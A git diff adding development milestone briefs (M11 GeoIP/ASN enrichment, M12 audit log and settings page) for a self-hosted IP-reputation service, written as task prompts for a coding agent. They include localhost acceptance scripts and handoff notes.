+curl -s -X PATCH -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d "{\"thresholds\":{\"phishing\":1.0}}" http://localhost:8081/api/v1/admin/policies/$PID > /dev/null
+# Now delete should 409
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X DELETE -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/admin/categories/$CID)" = "409"
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M10): UI admin CRUD; categories endpoints; IP detail actions
+
+   - manual blocks, allowlist, policies (matrix editor), reporters, consumers, tokens, categories
+   - token creation modal with one-time raw display + copy
+   - decay-curve preview (svg) on category edit
+   - manual-block / allowlist actions on IP detail page
+   - api: CRUD for categories with in-use protection
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M10 — UI admin CRUD (done)
+
+   **Built:** every admin CRUD UI; categories endpoints; IP detail action buttons.
+
+   **Notes for next milestone:**
+   - User management UI (admin/users, role-mapping editor) is [either: built / deferred to M12]. Decide and note here.
+   - Token list never includes service tokens (api enforces).
+   - Operator vs Admin: operator can manage manual blocks and allowlist but not tokens, policies, categories, reporters, consumers, role mappings.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** none.
+   ```
+
+3. **Stop.** Do not start M11.

+ 319 - 0
doc/development/files/M11-enrichment.md

@@ -0,0 +1,319 @@
+# M11 — GeoIP / ASN Enrichment
+
+> Fresh Claude Code agent prompt. M07 must be complete (M08–M10 not strictly required, but recommended order).
+> Estimated effort: small to medium.
+
+## Mission
+
+Wire up MMDB-based GeoIP/ASN enrichment with three pluggable providers — **DB-IP Lite (default, no auth required)**, **MaxMind GeoLite2 (opt-in, license key)**, **IPinfo Lite (opt-in, token)**. Build a single lookup wrapper, a working `enrich-pending` job (replacing the M05 skeleton), the `refresh-geoip` job (replacing the M05 stub that returned 412), and UI display of country flag and ASN on the IP detail page.
+
+The provider abstraction is intentionally narrow: only the **download** path forks per provider. The on-disk format (MMDB) and the lookup path are common.
+
+## Before you start
+
+1. Verify previous milestones (especially M05, M07, M09):
+   ```bash
+   git log --oneline -10
+   cd api && composer test && cd ..
+   ```
+2. Read `SPEC.md` §2 (GeoIP/ASN section), §4 (`ip_enrichment` table), §6 (`refresh-geoip` and `enrich-pending` job endpoints), §10 (where the DBs live; `/data/geoip/`), §15 (note out-of-scope items).
+3. **Pick a provider for development.** All three speak MMDB; the lookup code does not care which is on disk. The default for fresh installs is DB-IP because it needs no credentials.
+
+   | Provider | Auth | License | Update cadence | Compression | Integrity check published | Attribution required |
+   |---|---|---|---|---|---|---|
+   | **DB-IP Lite** (default) | none | CC BY 4.0 | monthly (1st) | `.mmdb.gz` (single file) | no | yes — "IP Geolocation by DB-IP" |
+   | MaxMind GeoLite2 (opt-in) | license key | MaxMind EULA, free tier | twice weekly | `.tar.gz` (directory) | yes — `.sha256` companion | no |
+   | IPinfo Lite (opt-in) | token | IPinfo TOS, free tier | weekly | `.mmdb` (uncompressed) | no | yes — "powered by IPinfo" |
+
+4. Test fixtures live in `api/tests/Fixtures/geoip/` and are committed to the repo. They use the public `GeoLite2-City-Test.mmdb` / `GeoLite2-ASN-Test.mmdb` style fixtures from the `maxmind/MaxMind-DB` repo (Apache-2.0, vendorable). They cover IP `81.2.69.142` (GB) and a small IPv6 set. Acceptance does not depend on a real provider being reachable.
+
+## Tasks
+
+### 1. MMDB wrapper
+
+In `api/src/Domain/Enrichment/`:
+
+- `EnrichmentResult.php` — value object: `countryCode: ?string`, `asn: ?int`, `asOrg: ?string`, `enrichedAt: DateTimeImmutable`.
+- `EnrichmentService.php` interface: `enrich(IpAddress $ip): EnrichmentResult`.
+
+In `api/src/Infrastructure/Enrichment/`:
+
+- `MmdbEnrichmentService.php` — implements `EnrichmentService` against any MMDB file. Accepts paths to two `.mmdb` files (Country and ASN) plus a `RecordAdapter` keyed on the configured provider. Lazy-loads readers; if a file is missing or unreadable, log a warning **once per process lifetime** and return an all-null result.
+  - Use `MaxMind\Db\Reader::get($ip)` directly (the lower-level open-format reader; ships as a transitive dep of `geoip2/geoip2`). Avoid the higher-level `Geoip2\Database\Reader::country()` accessor — it's MaxMind-shape-specific and breaks on IPinfo's flat record schema.
+  - Add `geoip2/geoip2` to `api/composer.json` (allowed; SPEC §2 names MaxMind, and the package is the canonical PHP MMDB reader).
+- `RecordAdapter.php` — small interface with `extractCountryCode(array $record): ?string`, `extractAsn(array $record): ?int`, `extractAsOrg(array $record): ?string`. Three implementations:
+  - `MaxMindRecordAdapter` — country: `$record['country']['iso_code']`; ASN: `$record['autonomous_system_number']`, `$record['autonomous_system_organization']`. (DB-IP shares this schema.)
+  - `IpinfoRecordAdapter` — country: `$record['country_code']` (uppercase ISO-3166); ASN: `$record['asn']` (string like `"AS13335"` — strip prefix, cast to int), `$record['as_name']`.
+- `EnrichmentRepository.php` (new file under `api/src/Infrastructure/Reputation/` to live next to `IpEnrichmentRepository`, OR replace the existing read-only `IpEnrichmentRepository` — pick the latter; keep one class):
+  - `find(string $ipBin): ?array` — keep the existing M09 shape.
+  - `upsert(string $ipBin, string $ipText, EnrichmentResult $result): void` — driver-aware UPSERT (mirrors `IpScoreRepository::upsert` for SQLite/MySQL split).
+  - `findPending(int $limit): array<string>` — `ip_bin` values that exist in `reports` or `manual_blocks` but not in `ip_enrichment`. Order by `MIN(received_at)` so older entries get caught up first. Use `UNION` over the two source tables, GROUP BY ip_bin, LEFT JOIN `ip_enrichment` filtering nulls.
+  - `clearAllEnrichedAt(): int` — used only by the `?reenrich=true` flag on `refresh-geoip`. Sets `enriched_at = NULL` so `findPending` re-picks rows up. Returns affected row count for the job's `items_processed`.
+
+### 2. `enrich-pending` job — full implementation
+
+Replace the skeleton in `api/src/Application/Jobs/EnrichPendingJob.php`:
+
+- Pulls a batch from `EnrichmentRepository::findPending(limit=200)`.
+- For each ip: calls `EnrichmentService::enrich`, upserts the result.
+- If the configured MMDBs aren't present (e.g. opt-in provider whose credential was never set, or `refresh-geoip` hasn't run yet, or the fixtures weren't mounted):
+  - The service returns all-null results. **Don't store them** — that would create poison rows. Detect by `countryCode === null && asn === null` and skip.
+  - Log a single warning per job run (not per IP) and exit cleanly with `items_processed=0`.
+- Default interval: 300s. Max runtime: 60s.
+- Idempotent: if an IP is already enriched, skip it (the `findPending` query already excludes them).
+
+### 3. `refresh-geoip` job — full implementation
+
+Replace the stub in `api/src/Application/Jobs/RefreshGeoipJob.php`:
+
+- The job is provider-agnostic. Provider-specific logic sits behind a `GeoIpDownloader` interface in `api/src/Infrastructure/Enrichment/Downloaders/`:
+
+  ```php
+  interface GeoIpDownloader {
+      public function name(): string;          // "dbip" | "maxmind" | "ipinfo"
+      public function requiresCredential(): bool;
+      public function hasCredential(): bool;   // false ⇒ controller short-circuits 412
+      /** @return array{country: string, asn: string} paths to verified .mmdb files in $tempDir */
+      public function download(string $tempDir): array;
+  }
+  ```
+
+- Three implementations:
+
+  - **`DbipDownloader`** (default)
+    - URLs: `https://download.db-ip.com/free/dbip-country-lite-YYYY-MM.mmdb.gz` and `…asn-lite…`.
+    - On 404 (early-month rollover edge: monthly cuts publish on/around the 1st), fall back to previous month. Cap at one fallback step.
+    - Verify each file by: (a) gzip-integrity (`gzdecode` round-trip), (b) opening the decoded MMDB with `MaxMind\Db\Reader` and reading metadata (fails fast on truncation/corruption), (c) sane row count: `metadata.nodeCount > 100_000` for country, `> 50_000` for ASN. No SHA-256 published; this stack is the substitute.
+    - `requiresCredential()` returns false; `hasCredential()` always true.
+
+  - **`MaxMindDownloader`** (opt-in)
+    - URLs: MaxMind's permalink endpoint `https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key=…&suffix=tar.gz` (and `GeoLite2-ASN`).
+    - Verify the tarball's SHA-256 against the matching `…&suffix=tar.gz.sha256` URL.
+    - Extract the `.tar.gz`, walk the resulting directory for the `.mmdb` file (MaxMind's tarball nests one).
+    - `requiresCredential()` true; `hasCredential()` checks `MAXMIND_LICENSE_KEY !== ''`.
+
+  - **`IPinfoDownloader`** (opt-in)
+    - URLs: `https://ipinfo.io/data/free/country.mmdb?token=…` and `…/free/asn.mmdb?token=…`. Direct MMDB, no compression.
+    - Verify identically to DB-IP (no integrity file published; metadata + node-count sanity check).
+    - `requiresCredential()` true; `hasCredential()` checks `IPINFO_TOKEN !== ''`.
+
+- Job flow (provider-independent):
+  - At the HTTP-handler level: if the selected downloader has `requiresCredential() && !hasCredential()`, return `412 Precondition Failed` with `{"error":"no_credential","provider":"<name>","missing":"MAXMIND_LICENSE_KEY"}` (or `IPINFO_TOKEN`). Don't even start the job. **For provider=dbip this 412 path is unreachable**, since DB-IP needs no credential.
+  - Otherwise the job:
+    - Acquires its lock (default interval 7 days, `JOB_GEOIP_REFRESH_INTERVAL_DAYS`; max runtime 5 minutes).
+    - Calls `$downloader->download($tempDir)`.
+    - Atomic-replaces the existing files at `GEOIP_COUNTRY_DB` and `GEOIP_ASN_DB`. `tempnam()` in the same filesystem as the target, write, `rename()` to the target. Avoid leaving partials if the process crashes.
+    - Reloads in-process readers (`MmdbEnrichmentService::reloadReaders()` clears its cached `MaxMind\Db\Reader` instances).
+    - On success: `items_processed` = sum of `metadata.nodeCount` from both files (rough indicator).
+    - Optional `?reenrich=true` query flag: after a successful refresh, also call `EnrichmentRepository::clearAllEnrichedAt()`. Reflect the count in the response. Default off.
+- On HTTP/network failure: write a failure run entry, log clearly with provider name (no credential in any log line), don't leave partial files.
+- Use Guzzle (already in api deps).
+
+### 4. UI: IP detail enrichment panel
+
+The endpoint `GET /api/v1/admin/ips/{ip}` already returns the `enrichment` block; from M09 the field is null. After this milestone the data fills in.
+
+Update `ui/resources/views/pages/ips/detail.twig`:
+- If `enrichment.country_code` is null, show "Unknown" greyed out.
+- Otherwise show the country flag (Unicode regional indicator) + country name (use a small mapping or a JSON lookup table).
+- ASN: show as `AS{asn} {as_org}`, link to bgp.he.net or similar (target=_blank, rel=noopener) — optional but nice.
+- Add `enriched_at` as a small timestamp footer ("Enriched 4 hours ago").
+- **Attribution footer** under the panel: read the configured provider from the dashboard config endpoint (or expose via `GET /api/v1/admin/config` if not already; or pass through Twig globals) and render:
+  - `dbip` → `IP Geolocation by <a href="https://db-ip.com">DB-IP</a>` (CC BY 4.0).
+  - `ipinfo` → `IP data powered by <a href="https://ipinfo.io">IPinfo</a>`.
+  - `maxmind` → no attribution required; render nothing.
+
+### 5. Search filters
+
+The IPs list page already accepts `country` and `asn` filters from M09. They should now actually filter results — the api joins `ip_enrichment` on the search query (already wired in `IpScoreRepository::searchIps`). Add a simple country dropdown using the populated set of countries seen so far via a new `GET /api/v1/admin/ips/countries` endpoint (returns `[{code, count}]` from `SELECT country_code, COUNT(*) FROM ip_enrichment WHERE country_code IS NOT NULL GROUP BY country_code ORDER BY country_code`).
+
+### 6. Update healthz
+
+`/healthz` on api now reports GeoIP DB status:
+```json
+{
+  "status": "ok",
+  "db": {"connected": true, "driver": "sqlite"},
+  "geoip": {
+    "provider": "dbip",
+    "provider_configured": true,
+    "country_db_present": true,
+    "asn_db_present": true,
+    "country_db_modified": "2026-04-20T...",
+    "asn_db_modified": "2026-04-20T..."
+  }
+}
+```
+- `provider_configured` is `true` for `dbip` always, `true` for `maxmind`/`ipinfo` when the credential is set.
+- Missing DBs don't make `/healthz` unhealthy (the system still works without enrichment). Just report the state.
+
+## Implementation notes
+
+### Cross-provider
+
+- **Stable on-disk filenames.** Whatever provider supplied them, the runtime paths are `GEOIP_COUNTRY_DB=/data/geoip/country.mmdb` and `GEOIP_ASN_DB=/data/geoip/asn.mmdb` (generalize the SPEC §9 defaults — see "Deviations from SPEC" in the handoff). Downloaders write to a temp dir and the job atomic-renames to these stable paths. The lookup service never sees provider details.
+- **Atomic file replace.** `tempnam()` in `/data/geoip/`, write the new file, `rename()` to the target. Avoid leaving partials if the process crashes.
+- **MMDB library.** Use `geoip2/geoip2` for the package; use the underlying `MaxMind\Db\Reader` class directly so the same code reads MaxMind, DB-IP, and IPinfo files. Don't roll your own `.mmdb` parser. Don't use a service that calls back to a remote API on every lookup — the local DB is the point.
+- **IPv6.** All three providers' DBs cover both families. Verify with a v6 lookup test against the fixtures.
+- **Large batches.** 200 per tick is a safe default. Each lookup is microseconds; 200 takes well under a second.
+- **Tests.** The fixture path is provider-independent: ship two small `.mmdb` files in `api/tests/Fixtures/geoip/` and have the test harness point `GEOIP_COUNTRY_DB`/`GEOIP_ASN_DB` at them. Use the `MaxMindRecordAdapter` for fixture-based tests since the public test MMDBs use MaxMind's schema.
+
+### Provider-specific
+
+- **DB-IP**: monthly cadence — flag if `country_db_modified` is older than 45 days in healthz (warning, not error). License is CC BY 4.0; the UI footer + README must credit DB-IP. URL pattern is date-stamped; downloader composes from `now()` and falls back one month on 404.
+- **MaxMind**: never log the license key. Don't include it in error messages, `job_runs.details`, or any echoed config. Mask in the masked-config endpoint.
+- **IPinfo**: same — never log the token. Same masking treatment.
+- **Build-time vs runtime DBs**. The Dockerfile may bake DBs in at build time when an opt-in provider's credential is set as a build arg; otherwise they're absent until `refresh-geoip` runs. With DB-IP default, the entrypoint can optionally trigger an initial `refresh-geoip` on first boot if the files are missing — out of scope for this milestone; leave for M14 hardening.
+
+## Out of scope (DO NOT)
+
+- Other enrichment sources (Spamhaus, AbuseIPDB, internal corporate feeds). Three providers is the cap; the abstraction is enough.
+- Per-request enrichment lookups in the report endpoint. Enrichment is a background concern.
+- Reverse-DNS / WHOIS enrichment.
+- Auditing the enrichment job (M12 owns audit emission generally; this job logs to its `job_runs` row).
+- New API endpoints beyond what's listed (the `/admin/ips/countries` endpoint is the only addition).
+- Mass re-enrichment of all IPs on every refresh-geoip run. New DB ⇒ existing rows stay. The `?reenrich=true` flag opts into clearing `enriched_at` so `findPending` re-picks them up — only on explicit request.
+- A fourth provider. Pick from the three above.
+- Auto-bootstrapping the DB on first container start. The job runs on schedule; first-run will populate.
+
+## Acceptance
+
+The acceptance script is structured into three blocks: default provider (DB-IP, no credentials), then opt-ins (MaxMind, IPinfo). The fixture-based assertions are provider-independent and are the load-bearing checks for correctness.
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+
+docker compose down -v
+cp .env.example .env
+# Default config: GEOIP_PROVIDER=dbip, no MAXMIND_LICENSE_KEY, no IPINFO_TOKEN
+docker compose up -d
+sleep 15
+
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+INTERNAL_TOKEN=$(grep ^INTERNAL_JOB_TOKEN= .env | cut -d= -f2)
+
+# --- Block A: default provider (DB-IP) ---
+
+# DB-IP needs no credential — refresh-geoip does NOT 412.
+# (Skip the live download in CI; assert the controller doesn't short-circuit.)
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  -X POST 'http://localhost:8081/internal/jobs/refresh-geoip?dry_run=1')" != "412"
+
+# enrich-pending no-ops cleanly when DBs are missing (regardless of provider)
+RESP=$(curl -s -X POST -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  http://localhost:8081/internal/jobs/enrich-pending)
+echo "$RESP" | grep -q '"status":"success"'
+echo "$RESP" | grep -q '"items_processed":0'
+
+# /healthz reports geoip status with provider name
+curl -s http://localhost:8081/healthz | grep -q '"provider":"dbip"'
+curl -s http://localhost:8081/healthz | grep -q '"country_db_present":false'
+
+# Fixture-based functional check (provider-independent path)
+docker compose cp api/tests/Fixtures/geoip/. api:/data/geoip/
+RID=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"name":"test","trust_weight":1.0}' \
+  http://localhost:8081/api/v1/admin/reporters | php -r 'echo json_decode(stream_get_contents(STDIN),true)["id"];')
+RT=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d "{\"kind\":\"reporter\",\"reporter_id\":$RID}" \
+  http://localhost:8081/api/v1/admin/tokens | php -r 'echo json_decode(stream_get_contents(STDIN),true)["raw_token"];')
+curl -s -X POST -H "Authorization: Bearer $RT" -H "Content-Type: application/json" \
+  -d '{"ip":"81.2.69.142","category":"brute_force"}' \
+  http://localhost:8081/api/v1/report > /dev/null
+
+curl -s -X POST -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  http://localhost:8081/internal/jobs/enrich-pending | grep -q '"items_processed":1'
+
+curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/admin/ips/81.2.69.142 | grep -qE '"country_code":"(GB|US)"'
+
+curl -s http://localhost:8081/healthz | grep -q '"country_db_present":true'
+
+docker compose down -v
+
+# --- Block B: MaxMind opt-in ---
+
+cp .env.example .env
+echo 'GEOIP_PROVIDER=maxmind' >> .env
+# Leave MAXMIND_LICENSE_KEY empty
+docker compose up -d
+sleep 15
+INTERNAL_TOKEN=$(grep ^INTERNAL_JOB_TOKEN= .env | cut -d= -f2)
+
+# Missing license key now triggers 412 (not under DB-IP default)
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  -X POST http://localhost:8081/internal/jobs/refresh-geoip)" = "412"
+curl -s http://localhost:8081/healthz | grep -q '"provider":"maxmind"'
+curl -s http://localhost:8081/healthz | grep -q '"provider_configured":false'
+
+docker compose down -v
+
+# --- Block C: IPinfo opt-in ---
+
+cp .env.example .env
+echo 'GEOIP_PROVIDER=ipinfo' >> .env
+# Leave IPINFO_TOKEN empty
+docker compose up -d
+sleep 15
+INTERNAL_TOKEN=$(grep ^INTERNAL_JOB_TOKEN= .env | cut -d= -f2)
+
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  -X POST http://localhost:8081/internal/jobs/refresh-geoip)" = "412"
+curl -s http://localhost:8081/healthz | grep -q '"provider":"ipinfo"'
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M11): MMDB enrichment with DB-IP / MaxMind / IPinfo providers
+
+   - EnrichmentService backed by MaxMind\Db\Reader (open MMDB format)
+   - GeoIpDownloader abstraction; DB-IP default, MaxMind & IPinfo opt-in
+   - enrich-pending job (replaces M05 skeleton): 200 per tick, no-ops cleanly without DBs
+   - refresh-geoip job: provider-aware download + verify + atomic replace
+     - 412 only when an opt-in provider's credential is unset
+   - IP detail UI shows country flag + ASN with provider attribution (graceful when null)
+   - /healthz reports provider, configured state, DB presence + mtimes
+   - country/asn filters on IPs list now functional; /admin/ips/countries dropdown source
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M11 — Enrichment (done)
+
+   **Built:** MMDB wrapper, three pluggable downloaders (DB-IP / MaxMind / IPinfo),
+   both jobs, UI display + attribution, healthz fields, country dropdown source.
+
+   **Notes for next milestone:**
+   - DBs live at /data/geoip/{country,asn}.mmdb (renamed from SPEC §9 defaults to be
+     provider-agnostic; see "Deviations" below).
+   - Default provider is DB-IP — no credential required, never returns 412.
+   - MaxMind and IPinfo paths return 412 when their credential is empty.
+   - License key / IPinfo token never logged.
+   - Re-enrichment is opt-in via ?reenrich=true on refresh-geoip.
+   - DB-IP and IPinfo: no upstream integrity file; verification is gzip-decode
+     (DB-IP only) + MMDB metadata + node-count sanity. MaxMind keeps SHA-256.
+   - Attribution rendered in UI for DB-IP and IPinfo per their license terms.
+
+   **Deviations from SPEC:**
+   - SPEC §9 named GEOIP_COUNTRY_DB=/data/geoip/GeoLite2-Country.mmdb. Renamed
+     to /data/geoip/country.mmdb so the path is provider-agnostic. Documented
+     in .env.example.
+   - SPEC §2 names MaxMind GeoLite2 specifically; we keep MaxMind as a first-class
+     provider but default to DB-IP (also MMDB) for friction-free self-hosting.
+
+   **Added dependencies:** geoip2/geoip2 (mentioned in SPEC §2 as the planned
+   library; we use its underlying MaxMind\Db\Reader for cross-provider support).
+
+   **Added env vars:** GEOIP_PROVIDER (default `dbip`; values `dbip|maxmind|ipinfo`),
+   IPINFO_TOKEN (used only when provider=ipinfo). MAXMIND_LICENSE_KEY was already
+   in .env.example.
+   ```
+
+3. **Stop.** Do not start M12.

+ 212 - 0
doc/development/files/M12-audit-and-settings.md

@@ -0,0 +1,212 @@
+# M12 — Audit Log & Settings Page
+
+> Fresh Claude Code agent prompt. M10 and M11 must be complete and committed.
+> Estimated effort: medium.
+
+## Mission
+
+Wire the audit emitter into every write path on the api. Add a filterable Audit page on the UI. Build the Settings page (effective config with secrets masked, per-job status with overdue badges, manual job triggers for admins). Optionally, complete the user management UI if it was deferred from M10.
+
+## Before you start
+
+1. Verify M10 and M11:
+   ```bash
+   git log --oneline -11
+   cd api && composer test && cd ..
+   cd ui  && composer test && cd ..
+   ```
+2. Read `SPEC.md` §4 (`audit_log` table), §6 (`POST /api/v1/admin/jobs/trigger/{name}`, `GET /api/v1/admin/audit-log`, `GET /api/v1/admin/jobs/status`, `GET /api/v1/admin/config`), §7 (Audit page, Settings page).
+3. Confirm clean tree.
+
+## Tasks
+
+### 1. Audit emitter
+
+In `api/src/Domain/Audit/`:
+
+- `AuditEmitter.php` interface: `emit(string $action, string $entityType, ?int $entityId, array $payload, AuditContext $ctx): void`.
+- `AuditContext.php` — captured from the current request: `actorKind: "user"|"reporter"|"consumer"|"admin-token"|"system"`, `actorId: ?int`, `actorName: ?string`, `requestId`, `ip` (the source IP making the call).
+- `AuditAction.php` — enum or string constants: `reporter.created`, `reporter.updated`, `reporter.deleted`, `consumer.*`, `token.created`, `token.revoked`, `policy.*`, `category.*`, `manual_block.*`, `allowlist.*`, `user.role_changed`, `oidc_role_mapping.*`, `job.triggered`.
+
+In `api/src/Infrastructure/Audit/AuditRepository.php`:
+- Insert with all fields, including a stable JSON-encoded payload.
+
+Wire `AuditEmitter` into the DI container; resolve `AuditContext` from the current request's principal in a request-scoped middleware. **Service-token + impersonation calls record `actorKind="user"` and `actorId=user_id` — NOT the service token.**
+
+### 2. Wire audit calls
+
+Every state-changing admin endpoint emits exactly one audit entry on success. Patterns:
+
+- `ReportersController::create` → `reporter.created`, payload contains the reporter fields (no secrets — never the trust weight is fine; never write credentials/tokens).
+- `TokensController::create` → `token.created`, payload contains `kind`, `prefix`, `target` ids; **never** the raw token.
+- `TokensController::delete` → `token.revoked`.
+- All `manual_blocks`, `allowlist`, `policies`, `categories`, `consumers`, `users`, `oidc_role_mappings` endpoints — `<entity>.created/updated/deleted`.
+- `JobsController::trigger` (new this milestone, see below) → `job.triggered`.
+
+Failure paths (4xx/5xx) **do not** emit. Only successful state changes.
+
+### 3. Audit list endpoint and UI
+
+`GET /api/v1/admin/audit-log` (Viewer role):
+- Query params: `actor_kind`, `actor_id`, `action`, `entity_type`, `entity_id`, `from` (ISO datetime), `to`, `page`, `page_size` (default 50, max 200).
+- Returns `{items, page, page_size, total}`. Each item: id, occurred_at, actor (kind+name+id), action, entity_type, entity_id, payload (raw JSON), source_ip.
+
+UI page `pages/audit/index.twig`:
+- Sidebar link "Audit".
+- Filter bar at top (form with all the params).
+- Table: time (relative + absolute on hover), actor, action (color-coded by category), entity, "view payload" button → modal showing the payload JSON pretty-printed.
+- Pagination at bottom.
+- All roles can see audit (Viewer+).
+
+### 4. Manual job trigger endpoint
+
+`POST /api/v1/admin/jobs/trigger/{name}` (Admin role):
+- Accepts the same body shape as `/internal/jobs/{name}` (e.g. `{full: true}` for recompute-scores).
+- Server-side: emits `job.triggered` audit, then calls the corresponding internal handler (NOT via HTTP — call the same Job class directly). Pass `triggered_by="manual"` in the runner's context.
+- Returns the job's response envelope (same as the internal endpoint).
+- Errors: 404 if `name` isn't registered; 412 for refresh-geoip without license key.
+
+Do **not** expose `/internal/jobs/*` to the UI. The UI uses this admin endpoint as a thin wrapper. The internal endpoint remains scheduler-only.
+
+### 5. Jobs status endpoint and Settings page
+
+`GET /api/v1/admin/jobs/status` (Viewer role): proxies `/internal/jobs/status`'s data — but reachable without the internal token. Returns the same shape: latest run per job, overdue flag, lock state.
+
+`GET /api/v1/admin/config` (Admin role only):
+- Returns the effective config the api is using, **with secrets masked**:
+  - `***` for: `INTERNAL_JOB_TOKEN`, `MAXMIND_LICENSE_KEY`, `DB_MYSQL_PASSWORD`.
+  - First 8 chars + `...` for: `UI_SERVICE_TOKEN`.
+  - Plain values for: `DB_DRIVER`, `LOG_LEVEL`, `SCORE_RECOMPUTE_INTERVAL_SECONDS`, `JOB_AUDIT_RETENTION_DAYS`, `GEOIP_*` paths (not the license key), `API_RATE_LIMIT_PER_SECOND`, etc.
+- Returns config grouped by section.
+
+UI page `pages/settings/index.twig` (Admin role only — Operator and Viewer get a "no access" page):
+- Three sections: Configuration (read-only display from `/admin/config`), Jobs (status table from `/admin/jobs/status` with overdue red badges and manual-trigger buttons), GeoIP (DB presence, last refresh times — pull from healthz or extend `/admin/config`).
+- Manual-trigger buttons: confirm modal → POST to `/api/v1/admin/jobs/trigger/{name}` → flash success/failure with the run details.
+
+### 6. (Optional) User management UI
+
+If deferred from M10, build it now:
+
+- `pages/users/index.twig` — list users; columns: email, display_name, role, source (oidc/local), last_login_at. Edit role inline (admin only); cannot edit local admin's role (always admin).
+- `pages/oidc-mappings/index.twig` — list `oidc_role_mappings`. Create form: group object id (paste from Entra), role, optional description. Delete with confirmation.
+- API endpoints already exist (M03 declared the schema; this milestone wires the handlers if not already done):
+  - `GET/POST/PATCH/DELETE /api/v1/admin/users` (admin only; cannot delete the local admin)
+  - `GET/POST/DELETE /api/v1/admin/oidc-role-mappings`
+
+If those endpoints aren't yet implemented, add them this milestone.
+
+## Implementation notes
+
+- **Audit emitter must not block writes**: wrap the emit in a try/catch. If audit insertion fails, log loudly but don't fail the originating request. The audit row is observability, not a transactional invariant.
+- **Audit context resolution**: a small middleware that captures the principal + request_id + source ip into a request-scoped `AuditContext`. Inject the emitter where needed; controllers don't have to manually pass the context.
+- **Audit retention**: M05's `CleanupAuditJob` already deletes old entries based on `JOB_AUDIT_RETENTION_DAYS`. Verify it works with real data now that data exists.
+- **Audit indexes**: ensure indexes on `(occurred_at DESC)`, `(action)`, `(entity_type, entity_id)`, `(actor_kind, actor_id)` for the filter performance. Add a migration if needed.
+- **Manual trigger UX**: triggers can take seconds. Use htmx with a loading indicator, OR submit the form and redirect to a flash result. Either way: don't double-submit; disable the button immediately on click.
+- **Service token in audit**: when the api is called by the UI BFF, the service token is irrelevant for audit. Always record the impersonated user. When called by an admin token directly, record `actor_kind="admin-token"`, `actor_id=<token_id>`.
+- **`job.triggered` payload**: include `name`, `params`, `triggered_by="manual"`. Don't include the raw response (which can be large).
+
+## Out of scope (DO NOT)
+
+- Audit log to external SIEM. The DB row is the audit trail this milestone.
+- Audit rate limiting / sampling. All writes audit; volume is low.
+- Live-tail audit on the UI. Pagination is fine.
+- Triggering reporter or consumer endpoints from the admin UI.
+- Per-user audit dashboards. The filterable list is sufficient.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+cd ui  && composer cs && composer stan && composer test && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 20
+
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+
+# Create a manual block to generate an audit entry
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"ip","ip":"203.0.113.99","reason":"audit test"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks > /dev/null
+
+# Audit endpoint contains the entry; actor_kind=admin-token because we used a raw admin token
+curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  "http://localhost:8081/api/v1/admin/audit-log?action=manual_block.created" | grep -q '"actor_kind":"admin-token"'
+
+# Now via the UI (service token + impersonation): audit entry attributed to user
+COOKIE_JAR=$(mktemp)
+CSRF=$(curl -s -c $COOKIE_JAR http://localhost:8080/login | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+curl -s -b $COOKIE_JAR -c $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&username=admin&password=test1234" \
+  http://localhost:8080/login/local -L > /dev/null
+CSRF=$(curl -s -b $COOKIE_JAR http://localhost:8080/app/manual-blocks | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4 | head -1)
+curl -s -b $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&kind=ip&ip=203.0.113.100&reason=via-ui" \
+  http://localhost:8080/app/manual-blocks -L > /dev/null
+curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  "http://localhost:8081/api/v1/admin/audit-log?entity_type=manual_block&page_size=10" \
+  | grep -A2 "via-ui" | grep -q '"actor_kind":"user"'
+
+# Manual job trigger (admin endpoint, not internal)
+RESP=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  http://localhost:8081/api/v1/admin/jobs/trigger/recompute-scores)
+echo "$RESP" | grep -q '"status":"success"'
+# Audit entry recorded
+curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  "http://localhost:8081/api/v1/admin/audit-log?action=job.triggered" | grep -q "recompute-scores"
+
+# Operator role cannot trigger jobs
+OP_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=operator --quiet)
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X POST -H "Authorization: Bearer $OP_TOKEN" \
+  http://localhost:8081/api/v1/admin/jobs/trigger/recompute-scores)" = "403"
+
+# /admin/config has secrets masked
+RESP=$(curl -s -H "Authorization: Bearer $ADMIN_TOKEN" http://localhost:8081/api/v1/admin/config)
